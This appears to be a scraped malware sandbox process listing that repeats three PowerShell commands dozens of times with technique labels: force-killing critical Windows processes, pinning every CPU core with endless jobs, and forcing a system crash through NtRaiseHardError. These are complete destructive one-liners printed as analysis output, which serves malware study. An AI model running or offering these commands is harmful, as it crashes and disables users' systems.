C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$t=@('csrss','winlogon','lsass','smss','services','svchost'); foreach($n in $t){ $p=Get-Process -Name $n -ErrorAction SilentlyContinue; foreach($proc in $p){ Stop-Process -Id $proc.Id -Force -ErrorAction SilentlyContinue } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$c=[Environment]::ProcessorCount; for($j=0;$j -lt $c;$j++){ Start-Job -ScriptBlock { while($true){ $x=1; $y=2; for($k=0;$k -lt 9999999;$k++){ $x=$x*$y+$x; $y=$y*$x+$y } } } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$sig='[DllImport(\"ntdll.dll\")]public static extern uint RtlAdjustPrivilege(int,bool,bool,out bool);[DllImport(\"ntdll.dll\")]public static extern uint NtRaiseHardError(uint,uint,uint,IntPtr,uint,out uint);'; Add-Type -MemberDefinition $sig -Name 'C' -Namespace 'D'; $b=$false; [D.C]::RtlAdjustPrivilege(19,$true,$false,[ref]$b); [D.C]::NtRaiseHardError(0xDEADDEAD,0,0,[IntPtr]::Zero,6,[ref]0)"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$t=@('csrss','winlogon','lsass','smss','services','svchost'); foreach($n in $t){ $p=Get-Process -Name $n -ErrorAction SilentlyContinue; foreach($proc in $p){ Stop-Process -Id $proc.Id -Force -ErrorAction SilentlyContinue } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$c=[Environment]::ProcessorCount; for($j=0;$j -lt $c;$j++){ Start-Job -ScriptBlock { while($true){ $x=1; $y=2; for($k=0;$k -lt 9999999;$k++){ $x=$x*$y+$x; $y=$y*$x+$y } } } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$sig='[DllImport(\"ntdll.dll\")]public static extern uint RtlAdjustPrivilege(int,bool,bool,out bool);[DllImport(\"ntdll.dll\")]public static extern uint NtRaiseHardError(uint,uint,uint,IntPtr,uint,out uint);'; Add-Type -MemberDefinition $sig -Name 'C' -Namespace 'D'; $b=$false; [D.C]::RtlAdjustPrivilege(19,$true,$false,[ref]$b); [D.C]::NtRaiseHardError(0xDEADDEAD,0,0,[IntPtr]::Zero,6,[ref]0)"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$t=@('csrss','winlogon','lsass','smss','services','svchost'); foreach($n in $t){ $p=Get-Process -Name $n -ErrorAction SilentlyContinue; foreach($proc in $p){ Stop-Process -Id $proc.Id -Force -ErrorAction SilentlyContinue } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$c=[Environment]::ProcessorCount; for($j=0;$j -lt $c;$j++){ Start-Job -ScriptBlock { while($true){ $x=1; $y=2; for($k=0;$k -lt 9999999;$k++){ $x=$x*$y+$x; $y=$y*$x+$y } } } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$sig='[DllImport(\"ntdll.dll\")]public static extern uint RtlAdjustPrivilege(int,bool,bool,out bool);[DllImport(\"ntdll.dll\")]public static extern uint NtRaiseHardError(uint,uint,uint,IntPtr,uint,out uint);'; Add-Type -MemberDefinition $sig -Name 'C' -Namespace 'D'; $b=$false; [D.C]::RtlAdjustPrivilege(19,$true,$false,[ref]$b); [D.C]::NtRaiseHardError(0xDEADDEAD,0,0,[IntPtr]::Zero,6,[ref]0)"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$t=@('csrss','winlogon','lsass','smss','services','svchost'); foreach($n in $t){ $p=Get-Process -Name $n -ErrorAction SilentlyContinue; foreach($proc in $p){ Stop-Process -Id $proc.Id -Force -ErrorAction SilentlyContinue } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$c=[Environment]::ProcessorCount; for($j=0;$j -lt $c;$j++){ Start-Job -ScriptBlock { while($true){ $x=1; $y=2; for($k=0;$k -lt 9999999;$k++){ $x=$x*$y+$x; $y=$y*$x+$y } } } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$sig='[DllImport(\"ntdll.dll\")]public static extern uint RtlAdjustPrivilege(int,bool,bool,out bool);[DllImport(\"ntdll.dll\")]public static extern uint NtRaiseHardError(uint,uint,uint,IntPtr,uint,out uint);'; Add-Type -MemberDefinition $sig -Name 'C' -Namespace 'D'; $b=$false; [D.C]::RtlAdjustPrivilege(19,$true,$false,[ref]$b); [D.C]::NtRaiseHardError(0xDEADDEAD,0,0,[IntPtr]::Zero,6,[ref]0)"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$t=@('csrss','winlogon','lsass','smss','services','svchost'); foreach($n in $t){ $p=Get-Process -Name $n -ErrorAction SilentlyContinue; foreach($proc in $p){ Stop-Process -Id $proc.Id -Force -ErrorAction SilentlyContinue } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$c=[Environment]::ProcessorCount; for($j=0;$j -lt $c;$j++){ Start-Job -ScriptBlock { while($true){ $x=1; $y=2; for($k=0;$k -lt 9999999;$k++){ $x=$x*$y+$x; $y=$y*$x+$y } } } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$sig='[DllImport(\"ntdll.dll\")]public static extern uint RtlAdjustPrivilege(int,bool,bool,out bool);[DllImport(\"ntdll.dll\")]public static extern uint NtRaiseHardError(uint,uint,uint,IntPtr,uint,out uint);'; Add-Type -MemberDefinition $sig -Name 'C' -Namespace 'D'; $b=$false; [D.C]::RtlAdjustPrivilege(19,$true,$false,[ref]$b); [D.C]::NtRaiseHardError(0xDEADDEAD,0,0,[IntPtr]::Zero,6,[ref]0)"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$t=@('csrss','winlogon','lsass','smss','services','svchost'); foreach($n in $t){ $p=Get-Process -Name $n -ErrorAction SilentlyContinue; foreach($proc in $p){ Stop-Process -Id $proc.Id -Force -ErrorAction SilentlyContinue } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$c=[Environment]::ProcessorCount; for($j=0;$j -lt $c;$j++){ Start-Job -ScriptBlock { while($true){ $x=1; $y=2; for($k=0;$k -lt 9999999;$k++){ $x=$x*$y+$x; $y=$y*$x+$y } } } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$sig='[DllImport(\"ntdll.dll\")]public static extern uint RtlAdjustPrivilege(int,bool,bool,out bool);[DllImport(\"ntdll.dll\")]public static extern uint NtRaiseHardError(uint,uint,uint,IntPtr,uint,out uint);'; Add-Type -MemberDefinition $sig -Name 'C' -Namespace 'D'; $b=$false; [D.C]::RtlAdjustPrivilege(19,$true,$false,[ref]$b); [D.C]::NtRaiseHardError(0xDEADDEAD,0,0,[IntPtr]::Zero,6,[ref]0)"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$t=@('csrss','winlogon','lsass','smss','services','svchost'); foreach($n in $t){ $p=Get-Process -Name $n -ErrorAction SilentlyContinue; foreach($proc in $p){ Stop-Process -Id $proc.Id -Force -ErrorAction SilentlyContinue } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$c=[Environment]::ProcessorCount; for($j=0;$j -lt $c;$j++){ Start-Job -ScriptBlock { while($true){ $x=1; $y=2; for($k=0;$k -lt 9999999;$k++){ $x=$x*$y+$x; $y=$y*$x+$y } } } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$sig='[DllImport(\"ntdll.dll\")]public static extern uint RtlAdjustPrivilege(int,bool,bool,out bool);[DllImport(\"ntdll.dll\")]public static extern uint NtRaiseHardError(uint,uint,uint,IntPtr,uint,out uint);'; Add-Type -MemberDefinition $sig -Name 'C' -Namespace 'D'; $b=$false; [D.C]::RtlAdjustPrivilege(19,$true,$false,[ref]$b); [D.C]::NtRaiseHardError(0xDEADDEAD,0,0,[IntPtr]::Zero,6,[ref]0)"2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$t=@('csrss','winlogon','lsass','smss','services','svchost'); foreach($n in $t){ $p=Get-Process -Name $n -ErrorAction SilentlyContinue; foreach($proc in $p){ Stop-Process -Id $proc.Id -Force -ErrorAction SilentlyContinue } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$c=[Environment]::ProcessorCount; for($j=0;$j -lt $c;$j++){ Start-Job -ScriptBlock { while($true){ $x=1; $y=2; for($k=0;$k -lt 9999999;$k++){ $x=$x*$y+$x; $y=$y*$x+$y } } } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$sig='[DllImport(\"ntdll.dll\")]public static extern uint RtlAdjustPrivilege(int,bool,bool,out bool);[DllImport(\"ntdll.dll\")]public static extern uint NtRaiseHardError(uint,uint,uint,IntPtr,uint,out uint);'; Add-Type -MemberDefinition $sig -Name 'C' -Namespace 'D'; $b=$false; [D.C]::RtlAdjustPrivilege(19,$true,$false,[ref]$b); [D.C]::NtRaiseHardError(0xDEADDEAD,0,0,[IntPtr]::Zero,6,[ref]0)"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$t=@('csrss','winlogon','lsass','smss','services','svchost'); foreach($n in $t){ $p=Get-Process -Name $n -ErrorAction SilentlyContinue; foreach($proc in $p){ Stop-Process -Id $proc.Id -Force -ErrorAction SilentlyContinue } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$c=[Environment]::ProcessorCount; for($j=0;$j -lt $c;$j++){ Start-Job -ScriptBlock { while($true){ $x=1; $y=2; for($k=0;$k -lt 9999999;$k++){ $x=$x*$y+$x; $y=$y*$x+$y } } } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$sig='[DllImport(\"ntdll.dll\")]public static extern uint RtlAdjustPrivilege(int,bool,bool,out bool);[DllImport(\"ntdll.dll\")]public static extern uint NtRaiseHardError(uint,uint,uint,IntPtr,uint,out uint);'; Add-Type -MemberDefinition $sig -Name 'C' -Namespace 'D'; $b=$false; [D.C]::RtlAdjustPrivilege(19,$true,$false,[ref]$b); [D.C]::NtRaiseHardError(0xDEADDEAD,0,0,[IntPtr]::Zero,6,[ref]0)"2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$t=@('csrss','winlogon','lsass','smss','services','svchost'); foreach($n in $t){ $p=Get-Process -Name $n -ErrorAction SilentlyContinue; foreach($proc in $p){ Stop-Process -Id $proc.Id -Force -ErrorAction SilentlyContinue } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$c=[Environment]::ProcessorCount; for($j=0;$j -lt $c;$j++){ Start-Job -ScriptBlock { while($true){ $x=1; $y=2; for($k=0;$k -lt 9999999;$k++){ $x=$x*$y+$x; $y=$y*$x+$y } } } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$sig='[DllImport(\"ntdll.dll\")]public static extern uint RtlAdjustPrivilege(int,bool,bool,out bool);[DllImport(\"ntdll.dll\")]public static extern uint NtRaiseHardError(uint,uint,uint,IntPtr,uint,out uint);'; Add-Type -MemberDefinition $sig -Name 'C' -Namespace 'D'; $b=$false; [D.C]::RtlAdjustPrivilege(19,$true,$false,[ref]$b); [D.C]::NtRaiseHardError(0xDEADDEAD,0,0,[IntPtr]::Zero,6,[ref]0)"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$t=@('csrss','winlogon','lsass','smss','services','svchost'); foreach($n in $t){ $p=Get-Process -Name $n -ErrorAction SilentlyContinue; foreach($proc in $p){ Stop-Process -Id $proc.Id -Force -ErrorAction SilentlyContinue } }"2⤵
- Hide Artifacts: Ignore Process Interrupts
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$c=[Environment]::ProcessorCount; for($j=0;$j -lt $c;$j++){ Start-Job -ScriptBlock { while($true){ $x=1; $y=2; for($k=0;$k -lt 9999999;$k++){ $x=$x*$y+$x; $y=$y*$x+$y } } } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$sig='[DllImport(\"ntdll.dll\")]public static extern uint RtlAdjustPrivilege(int,bool,bool,out bool);[DllImport(\"ntdll.dll\")]public static extern uint NtRaiseHardError(uint,uint,uint,IntPtr,uint,out uint);'; Add-Type -MemberDefinition $sig -Name 'C' -Namespace 'D'; $b=$false; [D.C]::RtlAdjustPrivilege(19,$true,$false,[ref]$b); [D.C]::NtRaiseHardError(0xDEADDEAD,0,0,[IntPtr]::Zero,6,[ref]0)"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$t=@('csrss','winlogon','lsass','smss','services','svchost'); foreach($n in $t){ $p=Get-Process -Name $n -ErrorAction SilentlyContinue; foreach($proc in $p){ Stop-Process -Id $proc.Id -Force -ErrorAction SilentlyContinue } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$c=[Environment]::ProcessorCount; for($j=0;$j -lt $c;$j++){ Start-Job -ScriptBlock { while($true){ $x=1; $y=2; for($k=0;$k -lt 9999999;$k++){ $x=$x*$y+$x; $y=$y*$x+$y } } } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$sig='[DllImport(\"ntdll.dll\")]public static extern uint RtlAdjustPrivilege(int,bool,bool,out bool);[DllImport(\"ntdll.dll\")]public static extern uint NtRaiseHardError(uint,uint,uint,IntPtr,uint,out uint);'; Add-Type -MemberDefinition $sig -Name 'C' -Namespace 'D'; $b=$false; [D.C]::RtlAdjustPrivilege(19,$true,$false,[ref]$b); [D.C]::NtRaiseHardError(0xDEADDEAD,0,0,[IntPtr]::Zero,6,[ref]0)"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$t=@('csrss','winlogon','lsass','smss','services','svchost'); foreach($n in $t){ $p=Get-Process -Name $n -ErrorAction SilentlyContinue; foreach($proc in $p){ Stop-Process -Id $proc.Id -Force -ErrorAction SilentlyContinue } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$c=[Environment]::ProcessorCount; for($j=0;$j -lt $c;$j++){ Start-Job -ScriptBlock { while($true){ $x=1; $y=2; for($k=0;$k -lt 9999999;$k++){ $x=$x*$y+$x; $y=$y*$x+$y } } } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$sig='[DllImport(\"ntdll.dll\")]public static extern uint RtlAdjustPrivilege(int,bool,bool,out bool);[DllImport(\"ntdll.dll\")]public static extern uint NtRaiseHardError(uint,uint,uint,IntPtr,uint,out uint);'; Add-Type -MemberDefinition $sig -Name 'C' -Namespace 'D'; $b=$false; [D.C]::RtlAdjustPrivilege(19,$true,$false,[ref]$b); [D.C]::NtRaiseHardError(0xDEADDEAD,0,0,[IntPtr]::Zero,6,[ref]0)"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$t=@('csrss','winlogon','lsass','smss','services','svchost'); foreach($n in $t){ $p=Get-Process -Name $n -ErrorAction SilentlyContinue; foreach($proc in $p){ Stop-Process -Id $proc.Id -Force -ErrorAction SilentlyContinue } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$c=[Environment]::ProcessorCount; for($j=0;$j -lt $c;$j++){ Start-Job -ScriptBlock { while($true){ $x=1; $y=2; for($k=0;$k -lt 9999999;$k++){ $x=$x*$y+$x; $y=$y*$x+$y } } } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$sig='[DllImport(\"ntdll.dll\")]public static extern uint RtlAdjustPrivilege(int,bool,bool,out bool);[DllImport(\"ntdll.dll\")]public static extern uint NtRaiseHardError(uint,uint,uint,IntPtr,uint,out uint);'; Add-Type -MemberDefinition $sig -Name 'C' -Namespace 'D'; $b=$false; [D.C]::RtlAdjustPrivilege(19,$true,$false,[ref]$b); [D.C]::NtRaiseHardError(0xDEADDEAD,0,0,[IntPtr]::Zero,6,[ref]0)"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$t=@('csrss','winlogon','lsass','smss','services','svchost'); foreach($n in $t){ $p=Get-Process -Name $n -ErrorAction SilentlyContinue; foreach($proc in $p){ Stop-Process -Id $proc.Id -Force -ErrorAction SilentlyContinue } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$c=[Environment]::ProcessorCount; for($j=0;$j -lt $c;$j++){ Start-Job -ScriptBlock { while($true){ $x=1; $y=2; for($k=0;$k -lt 9999999;$k++){ $x=$x*$y+$x; $y=$y*$x+$y } } } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$sig='[DllImport(\"ntdll.dll\")]public static extern uint RtlAdjustPrivilege(int,bool,bool,out bool);[DllImport(\"ntdll.dll\")]public static extern uint NtRaiseHardError(uint,uint,uint,IntPtr,uint,out uint);'; Add-Type -MemberDefinition $sig -Name 'C' -Namespace 'D'; $b=$false; [D.C]::RtlAdjustPrivilege(19,$true,$false,[ref]$b); [D.C]::NtRaiseHardError(0xDEADDEAD,0,0,[IntPtr]::Zero,6,[ref]0)"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$t=@('csrss','winlogon','lsass','smss','services','svchost'); foreach($n in $t){ $p=Get-Process -Name $n -ErrorAction SilentlyContinue; foreach($proc in $p){ Stop-Process -Id $proc.Id -Force -ErrorAction SilentlyContinue } }"2⤵
- Hide Artifacts: Ignore Process Interrupts
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$c=[Environment]::ProcessorCount; for($j=0;$j -lt $c;$j++){ Start-Job -ScriptBlock { while($true){ $x=1; $y=2; for($k=0;$k -lt 9999999;$k++){ $x=$x*$y+$x; $y=$y*$x+$y } } } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$sig='[DllImport(\"ntdll.dll\")]public static extern uint RtlAdjustPrivilege(int,bool,bool,out bool);[DllImport(\"ntdll.dll\")]public static extern uint NtRaiseHardError(uint,uint,uint,IntPtr,uint,out uint);'; Add-Type -MemberDefinition $sig -Name 'C' -Namespace 'D'; $b=$false; [D.C]::RtlAdjustPrivilege(19,$true,$false,[ref]$b); [D.C]::NtRaiseHardError(0xDEADDEAD,0,0,[IntPtr]::Zero,6,[ref]0)"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$t=@('csrss','winlogon','lsass','smss','services','svchost'); foreach($n in $t){ $p=Get-Process -Name $n -ErrorAction SilentlyContinue; foreach($proc in $p){ Stop-Process -Id $proc.Id -Force -ErrorAction SilentlyContinue } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$c=[Environment]::ProcessorCount; for($j=0;$j -lt $c;$j++){ Start-Job -ScriptBlock { while($true){ $x=1; $y=2; for($k=0;$k -lt 9999999;$k++){ $x=$x*$y+$x; $y=$y*$x+$y } } } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$sig='[DllImport(\"ntdll.dll\")]public static extern uint RtlAdjustPrivilege(int,bool,bool,out bool);[DllImport(\"ntdll.dll\")]public static extern uint NtRaiseHardError(uint,uint,uint,IntPtr,uint,out uint);'; Add-Type -MemberDefinition $sig -Name 'C' -Namespace 'D'; $b=$false; [D.C]::RtlAdjustPrivilege(19,$true,$false,[ref]$b); [D.C]::NtRaiseHardError(0xDEADDEAD,0,0,[IntPtr]::Zero,6,[ref]0)"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$t=@('csrss','winlogon','lsass','smss','services','svchost'); foreach($n in $t){ $p=Get-Process -Name $n -ErrorAction SilentlyContinue; foreach($proc in $p){ Stop-Process -Id $proc.Id -Force -ErrorAction SilentlyContinue } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$c=[Environment]::ProcessorCount; for($j=0;$j -lt $c;$j++){ Start-Job -ScriptBlock { while($true){ $x=1; $y=2; for($k=0;$k -lt 9999999;$k++){ $x=$x*$y+$x; $y=$y*$x+$y } } } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$sig='[DllImport(\"ntdll.dll\")]public static extern uint RtlAdjustPrivilege(int,bool,bool,out bool);[DllImport(\"ntdll.dll\")]public static extern uint NtRaiseHardError(uint,uint,uint,IntPtr,uint,out uint);'; Add-Type -MemberDefinition $sig -Name 'C' -Namespace 'D'; $b=$false; [D.C]::RtlAdjustPrivilege(19,$true,$false,[ref]$b); [D.C]::NtRaiseHardError(0xDEADDEAD,0,0,[IntPtr]::Zero,6,[ref]0)"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$t=@('csrss','winlogon','lsass','smss','services','svchost'); foreach($n in $t){ $p=Get-Process -Name $n -ErrorAction SilentlyContinue; foreach($proc in $p){ Stop-Process -Id $proc.Id -Force -ErrorAction SilentlyContinue } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$c=[Environment]::ProcessorCount; for($j=0;$j -lt $c;$j++){ Start-Job -ScriptBlock { while($true){ $x=1; $y=2; for($k=0;$k -lt 9999999;$k++){ $x=$x*$y+$x; $y=$y*$x+$y } } } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$sig='[DllImport(\"ntdll.dll\")]public static extern uint RtlAdjustPrivilege(int,bool,bool,out bool);[DllImport(\"ntdll.dll\")]public static extern uint NtRaiseHardError(uint,uint,uint,IntPtr,uint,out uint);'; Add-Type -MemberDefinition $sig -Name 'C' -Namespace 'D'; $b=$false; [D.C]::RtlAdjustPrivilege(19,$true,$false,[ref]$b); [D.C]::NtRaiseHardError(0xDEADDEAD,0,0,[IntPtr]::Zero,6,[ref]0)"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$t=@('csrss','winlogon','lsass','smss','services','svchost'); foreach($n in $t){ $p=Get-Process -Name $n -ErrorAction SilentlyContinue; foreach($proc in $p){ Stop-Process -Id $proc.Id -Force -ErrorAction SilentlyContinue } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$c=[Environment]::ProcessorCount; for($j=0;$j -lt $c;$j++){ Start-Job -ScriptBlock { while($true){ $x=1; $y=2; for($k=0;$k -lt 9999999;$k++){ $x=$x*$y+$x; $y=$y*$x+$y } } } }"2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$sig='[DllImport(\"ntdll.dll\")]public static extern uint RtlAdjustPrivilege(int,bool,bool,out bool);[DllImport(\"ntdll.dll\")]public static extern uint NtRaiseHardError(uint,uint,uint,IntPtr,uint,out uint);'; Add-Type -MemberDefinition $sig -Name 'C' -Namespace 'D'; $b=$false; [D.C]::RtlAdjustPrivilege(19,$true,$false,[ref]$b); [D.C]::NtRaiseHardError(0xDEADDEAD,0,0,[IntPtr]::Zero,6,[ref]0)"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$t=@('csrss','winlogon','lsass','smss','services','svchost'); foreach($n in $t){ $p=Get-Process -Name $n -ErrorAction SilentlyContinue; foreach($proc in $p){ Stop-Process -Id $proc.Id -Force -ErrorAction SilentlyContinue } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$c=[Environment]::ProcessorCount; for($j=0;$j -lt $c;$j++){ Start-Job -ScriptBlock { while($true){ $x=1; $y=2; for($k=0;$k -lt 9999999;$k++){ $x=$x*$y+$x; $y=$y*$x+$y } } } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$sig='[DllImport(\"ntdll.dll\")]public static extern uint RtlAdjustPrivilege(int,bool,bool,out bool);[DllImport(\"ntdll.dll\")]public static extern uint NtRaiseHardError(uint,uint,uint,IntPtr,uint,out uint);'; Add-Type -MemberDefinition $sig -Name 'C' -Namespace 'D'; $b=$false; [D.C]::RtlAdjustPrivilege(19,$true,$false,[ref]$b); [D.C]::NtRaiseHardError(0xDEADDEAD,0,0,[IntPtr]::Zero,6,[ref]0)"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$t=@('csrss','winlogon','lsass','smss','services','svchost'); foreach($n in $t){ $p=Get-Process -Name $n -ErrorAction SilentlyContinue; foreach($proc in $p){ Stop-Process -Id $proc.Id -Force -ErrorAction SilentlyContinue } }"2⤵
- Hide Artifacts: Ignore Process Interrupts
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$c=[Environment]::ProcessorCount; for($j=0;$j -lt $c;$j++){ Start-Job -ScriptBlock { while($true){ $x=1; $y=2; for($k=0;$k -lt 9999999;$k++){ $x=$x*$y+$x; $y=$y*$x+$y } } } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$sig='[DllImport(\"ntdll.dll\")]public static extern uint RtlAdjustPrivilege(int,bool,bool,out bool);[DllImport(\"ntdll.dll\")]public static extern uint NtRaiseHardError(uint,uint,uint,IntPtr,uint,out uint);'; Add-Type -MemberDefinition $sig -Name 'C' -Namespace 'D'; $b=$false; [D.C]::RtlAdjustPrivilege(19,$true,$false,[ref]$b); [D.C]::NtRaiseHardError(0xDEADDEAD,0,0,[IntPtr]::Zero,6,[ref]0)"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$t=@('csrss','winlogon','lsass','smss','services','svchost'); foreach($n in $t){ $p=Get-Process -Name $n -ErrorAction SilentlyContinue; foreach($proc in $p){ Stop-Process -Id $proc.Id -Force -ErrorAction SilentlyContinue } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$c=[Environment]::ProcessorCount; for($j=0;$j -lt $c;$j++){ Start-Job -ScriptBlock { while($true){ $x=1; $y=2; for($k=0;$k -lt 9999999;$k++){ $x=$x*$y+$x; $y=$y*$x+$y } } } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$sig='[DllImport(\"ntdll.dll\")]public static extern uint RtlAdjustPrivilege(int,bool,bool,out bool);[DllImport(\"ntdll.dll\")]public static extern uint NtRaiseHardError(uint,uint,uint,IntPtr,uint,out uint);'; Add-Type -MemberDefinition $sig -Name 'C' -Namespace 'D'; $b=$false; [D.C]::RtlAdjustPrivilege(19,$true,$false,[ref]$b); [D.C]::NtRaiseHardError(0xDEADDEAD,0,0,[IntPtr]::Zero,6,[ref]0)"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$t=@('csrss','winlogon','lsass','smss','services','svchost'); foreach($n in $t){ $p=Get-Process -Name $n -ErrorAction SilentlyContinue; foreach($proc in $p){ Stop-Process -Id $proc.Id -Force -ErrorAction SilentlyContinue } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$c=[Environment]::ProcessorCount; for($j=0;$j -lt $c;$j++){ Start-Job -ScriptBlock { while($true){ $x=1; $y=2; for($k=0;$k -lt 9999999;$k++){ $x=$x*$y+$x; $y=$y*$x+$y } } } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$sig='[DllImport(\"ntdll.dll\")]public static extern uint RtlAdjustPrivilege(int,bool,bool,out bool);[DllImport(\"ntdll.dll\")]public static extern uint NtRaiseHardError(uint,uint,uint,IntPtr,uint,out uint);'; Add-Type -MemberDefinition $sig -Name 'C' -Namespace 'D'; $b=$false; [D.C]::RtlAdjustPrivilege(19,$true,$false,[ref]$b); [D.C]::NtRaiseHardError(0xDEADDEAD,0,0,[IntPtr]::Zero,6,[ref]0)"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$t=@('csrss','winlogon','lsass','smss','services','svchost'); foreach($n in $t){ $p=Get-Process -Name $n -ErrorAction SilentlyContinue; foreach($proc in $p){ Stop-Process -Id $proc.Id -Force -ErrorAction SilentlyContinue } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$c=[Environment]::ProcessorCount; for($j=0;$j -lt $c;$j++){ Start-Job -ScriptBlock { while($true){ $x=1; $y=2; for($k=0;$k -lt 9999999;$k++){ $x=$x*$y+$x; $y=$y*$x+$y } } } }"2⤵
-
-
